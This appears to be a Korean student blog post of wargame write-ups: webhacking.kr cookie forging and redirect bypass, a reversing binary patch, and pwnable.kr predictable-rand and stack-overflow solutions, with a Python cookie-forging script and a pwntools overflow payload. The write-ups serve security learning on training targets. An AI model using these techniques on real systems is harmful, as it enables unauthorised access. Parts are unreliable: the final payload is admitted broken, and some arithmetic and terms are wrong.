본문 바로가기

4-1. 2025-1 심화 스터디/워게임 도장 깨기

250513 워게임 도장깨기

[Web]

old 15

들어가자마자 확인되는 화면이다. 확인을 누르면 Webhacking.kr의 메인 화면으로 돌아가게 된다

 

개발자도구를 확인했으나 아무것도 확인할 수 없었다. 소스코드 확인이 필요할 것 같다.

 

<html>
<head>
<title>Challenge 15</title>
</head>
<body>
<script>
  alert("Access_Denied");
  location.href='/';
  document.write("<a href=?getFlag>[Get Flag]</a>");
</script>
</body>

 

wget [웹사이트 주소] 형식으로 입력해서 코드를 다운로드한다.
cat으로 index.html 파일을 읽어보면 document.write("<a href=?getFlag>[Get Flag]</a>");

URl https://webhacking.kr/challenge/js-2/ 주소 끝에 ?getFlag를 입력하면 문제 해결 가능하다.

 

 getFlag로 입력했는데 계속 getflag로만 연결된다.

 

웹 사이트 주소를 복사해서 연결(ctrl을 누른 상태로 주소 클릭)해준다.

 

정확한 주소가 입력되면서 해결했다는 메시지가 출력되는 것을 확인할 수 있다.

 

old-06

view-source로 들어갔다.

 

이러한 긴 코드들이 있었다. 첫번째 부분 코드는 쿠키값이 없을 때의 코드이다.
문제 화면에 있었던 값인 id : guest와 pw:123qw를 이용해 base64로 인코딩 20번을 한다.
그 결과의 id, pw에 대해 숫자로 되어있는 값을 문자로 각각 바꾸고 그것을 Setcookie로 한다.

두번째 부분 코드는 쿠키가 있을 때 복호화를 한다. 위에서 숫자로 된 것을 문자로 바꿨는데 그것과 반대로 문자를 숫자로 바꾼다.
그런 뒤 base64로 디코딩을 20번 하고 복원한다. 그래서 나온 id와 pw가 admin, nimda 가 돼야 한다. admin 값에 대해 답을 구해야 하니까 base64로 인코딩해주었다. 20번 모두 인코딩 하는 게 힘들어서 python 코드를 짰다.

 

import base64

def encoding(s):
    data = s.encode()  # 문자열을 bytes로 변환 -> 컴퓨터가 처리해야하니까
    for _ in range(20):
        data = base64.b64encode(data)   #20번 반복복
    return data.decode()  #문자열로 전한

def replace(s):
    return (
        s.replace("1", "!")
         .replace("2", "@")
         .replace("3", "$")
         .replace("4", "^")
         .replace("5", "&")
         .replace("6", "*")
         .replace("7", "(")
         .replace("8", ")")
    )

enco_admin = encoding("admin")
enco_pw = encoding("nimda")


cookie_admin = replace(enco_admin)
cookie_pw = replace(enco_pw)

print(cookie_admin)
print(cookie_pw)

f12를 통해 user와 password의 이름을 가진 쿠키에 해당 값을 넣어주면 된다.
인코딩 된 값이 너무 길어서 자세한 값은 생략하겠다.

 

 

[Reversing]

My Favorite Fruit

좋아하는 과일을 알고 싶어하는 챗봇으로부터 flag를 얻는 문제이다

 

문제 파일을 받아보면 main 파일 하나만 있는 것을 확인할 수 있다. 기본적으로 어떻게 돌아가는 문제인지 확인하기 위해 IDA를 활용해 열어보았다.

 

쭉 코드를 살펴보다보면 나에게 어떤 과일을 제일 좋아하는지 묻는 부분이 보인다. 위 챗봇이 내가 좋아하는 과일을 알아내고 싶어한다고 했으니 이 부분이 중요한 부분일 것 같다. 이 부분을 보면 다섯가지 과일에 반응하고 있음을 알 수 있다.(banana, strawberry, erwin, mandarin, melon)

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v4; // [rsp+8h] [rbp-18h]
  char s1[8]; // [rsp+Fh] [rbp-11h] BYREF
  char v6; // [rsp+17h] [rbp-9h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v6 = 0;
  v4 = 0;
  do
  {
    printf("What is your favorite fruit?\n> ");
    __isoc99_scanf("%9s", s1);
    if ( !strcmp(s1, "banana") )
    {
      puts("I also like banana.");
      if ( (v4 & 1) == 0 )
      {
        v4 |= 1u;
        sub_11E9("banana");
      }
    }
    else if ( !strcmp(s1, "strawberry") )
    {
      puts("Strawberries! Great choice.");
      if ( (v4 & 2) == 0 )
      {
        v4 |= 2u;
        sub_11E9("strawberry");
      }
    }
    else if ( !strcmp(s1, "erwin") )
    {
      puts("I never heard of it, but it looks delicious.");
      if ( (v4 & 4) == 0 )
      {
        v4 |= 4u;
        sub_11E9("erwin");
      }
    }
    else if ( !strcmp(s1, "mandarin") )
    {
      puts("It's so sour...");
      if ( (v4 & 8) == 0 )
      {
        v4 |= 8u;
        sub_11E9("mandarin");
      }
    }
    else if ( !strcmp(s1, "melon") )
    {
      puts("I wanna eat it with jamon.");
      if ( (v4 & 0x10) == 0 )
      {
        v4 |= 0x10u;
        sub_11E9("melon");
      }
    }
    else
    {
      puts("Ew, I don't like it.");
    }
  }
  while ( v4 != 31 );
  printf("Here is the flag: %s\n", a0);
  return 0LL;
}

디컴파일 해줬다. 디컴파일 한 코드이다. 코드를 살펴보면 각 과일을 입력할 때마다 v4에 값이 담기고 그 값이 31이 될 때 while문을 벗어날 수 있는 걸 확인할 수 있다. 반응하는 다섯개의 과일을 모두 입력하면 flag를 얻을 수 있을 것으로 보인다.

 

vmware를 통해 프로그램을 실행시켜보았다. 다른 과일들은 잘 입력되고 뒤에 붙은 문구가 나오는데 strawberry만 이상이 생기는 걸 확인할 수 있다. 위에 코드를 다시 확인하면 scanf를 9글자까지 받고 있는 것을 확인할 수 있다. 글자 수가 오버되는 strawberry만 오류가 나는 것이다.

 

HxD를 활용, %9의 9 부분만 00으로 변경해줬다.

 

다시 실행해주면 올바른 플래그 값을 획득할 수 있다.

 

[Pwnable]

random

 

random.c

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xcafebabe ){
                printf("Good!\n");
                setregid(getegid(), getegid());
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

key의 random 승이 0xcafebabe가 되어야 한다.

*rand 함수: 0~32767 사이의 랜덤한 값을 반환하는 함수, 프로그램 생성될 때 정해지므로 프로그램 계속 실행시키더라도 동일한 값이 나옴

 

disass main

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000001209 <+0>:     endbr64 
   0x000000000000120d <+4>:     push   rbp
   0x000000000000120e <+5>:     mov    rbp,rsp
   0x0000000000001211 <+8>:     push   rbx
   0x0000000000001212 <+9>:     sub    rsp,0x18
   0x0000000000001216 <+13>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000121f <+22>:    mov    QWORD PTR [rbp-0x18],rax
   0x0000000000001223 <+26>:    xor    eax,eax
   0x0000000000001225 <+28>:    mov    eax,0x0
   0x000000000000122a <+33>:    call   0x1110 <rand@plt>
   0x000000000000122f <+38>:    mov    DWORD PTR [rbp-0x1c],eax
   0x0000000000001232 <+41>:    mov    DWORD PTR [rbp-0x20],0x0
   0x0000000000001239 <+48>:    lea    rax,[rbp-0x20]
   0x000000000000123d <+52>:    mov    rsi,rax
   0x0000000000001240 <+55>:    lea    rax,[rip+0xdc1]        # 0x2008
   0x0000000000001247 <+62>:    mov    rdi,rax
   0x000000000000124a <+65>:    mov    eax,0x0
   0x000000000000124f <+70>:    call   0x1100 <__isoc99_scanf@plt>
   0x0000000000001254 <+75>:    mov    eax,DWORD PTR [rbp-0x20]
   0x0000000000001257 <+78>:    xor    eax,DWORD PTR [rbp-0x1c]
   0x000000000000125a <+81>:    cmp    eax,0xcafebabe
   0x000000000000125f <+86>:    jne    0x12af <main+166>
   0x0000000000001261 <+88>:    lea    rax,[rip+0xda3]        # 0x200b
   0x0000000000001268 <+95>:    mov    rdi,rax
   0x000000000000126b <+98>:    call   0x10b0 <puts@plt>
   0x0000000000001270 <+103>:   mov    eax,0x0
   0x0000000000001275 <+108>:   call   0x10e0 <getegid@plt>
   0x000000000000127a <+113>:   mov    ebx,eax
   0x000000000000127c <+115>:   mov    eax,0x0
   0x0000000000001281 <+120>:   call   0x10e0 <getegid@plt>
   0x0000000000001286 <+125>:   mov    esi,ebx
   0x0000000000001288 <+127>:   mov    edi,eax
   0x000000000000128a <+129>:   mov    eax,0x0
   0x000000000000128f <+134>:   call   0x10f0 <setregid@plt>
   0x0000000000001294 <+139>:   lea    rax,[rip+0xd76]        # 0x2011
   0x000000000000129b <+146>:   mov    rdi,rax
   0x000000000000129e <+149>:   mov    eax,0x0
   0x00000000000012a3 <+154>:   call   0x10d0 <system@plt>
   0x00000000000012a8 <+159>:   mov    eax,0x0
   0x00000000000012ad <+164>:   jmp    0x12c3 <main+186>
   0x00000000000012af <+166>:   lea    rax,[rip+0xd6a]        # 0x2020
   0x00000000000012b6 <+173>:   mov    rdi,rax
   0x00000000000012b9 <+176>:   call   0x10b0 <puts@plt>
   0x00000000000012be <+181>:   mov    eax,0x0
   0x00000000000012c3 <+186>:   mov    rdx,QWORD PTR [rbp-0x18]
   0x00000000000012c7 <+190>:   sub    rdx,QWORD PTR fs:0x28
   0x00000000000012d0 <+199>:   je     0x12d7 <main+206>
   0x00000000000012d2 <+201>:   call   0x10c0 <__stack_chk_fail@plt>
   0x00000000000012d7 <+206>:   mov    rbx,QWORD PTR [rbp-0x8]
   0x00000000000012db <+210>:   leave  
   0x00000000000012dc <+211>:   ret    
End of assembler dump.

+81번째 줄: eax(key ^ random)와 cafebabe 비교하는 구문

→ rand 함수가 끝난 후에 breakpoint를 걸어 random에 어떤 값이 저장되어 있는지 확인해야 한다

 

# breakpoint
> b *main+38
> run

...

# eax에 들어있는 값 확인
> info reg $eax

eax에는 0x6b8b4567 가 들어있음

→ random = 0x6b8b4567

→ key ^ random = 0xcafebabe 이므로 key = 0xcafebabe ^ random

⇒ key = 0xa175ffd9 이고 int형으로 key 값으로 받고 있기 때문에 2708864985이 최종적으로 key에 들어가는 값이 됨

 

 

입력

 

flag

m0mmy_I_can_predict_rand0m_v4lue!

 

bof

 

ssh 접속 후 디렉토리 확인

 

checksec bof

아키텍처 및 보호기법 확인 → 32비트 아키텍처, 카나리/NX/PIE 적용

 

cat bof.c

func 함수에 0xdeadbeef 값 넘겨줌

gets 함수를 통해 bof 발생

key 값이 0xcafebabe와 같으면 /bin/sh 실행됨

⇒ bof를 통해 key 값이 들어있는 공간에 적혀있는 0xdeadbeef를 0xcafebabe로 바꿔주면 됨

 

gdb bof > disass func

0x30(48byte) + 0xc(24) = 72byte 공간 할당

ebp - 0x2c 만큼(44byte) 함수 실행 인자 공간 할당 → ebp - 0x2c의 위치가 overflowme[32] 시작 주소

ebp+0x8의 위치에 0xcafebabe 들어가 있음

 

⇒ ebp - 44부터 ret 까지 덮고 key값을 0xcafebabe로 변경

 

payload 작성

*ssh 서버 안에서 vim 작성 안 됨

from pwn import *

p = remote("pwnable.kr", 9000) -> 

payload = "A"*52 + "\xba\xbe\xfe\xca"

p.sendline(payload)

r.interactive()

→ 근데 지금 안 됨… 이 문제 관련 찾아보고 있으나 추가 학습 필요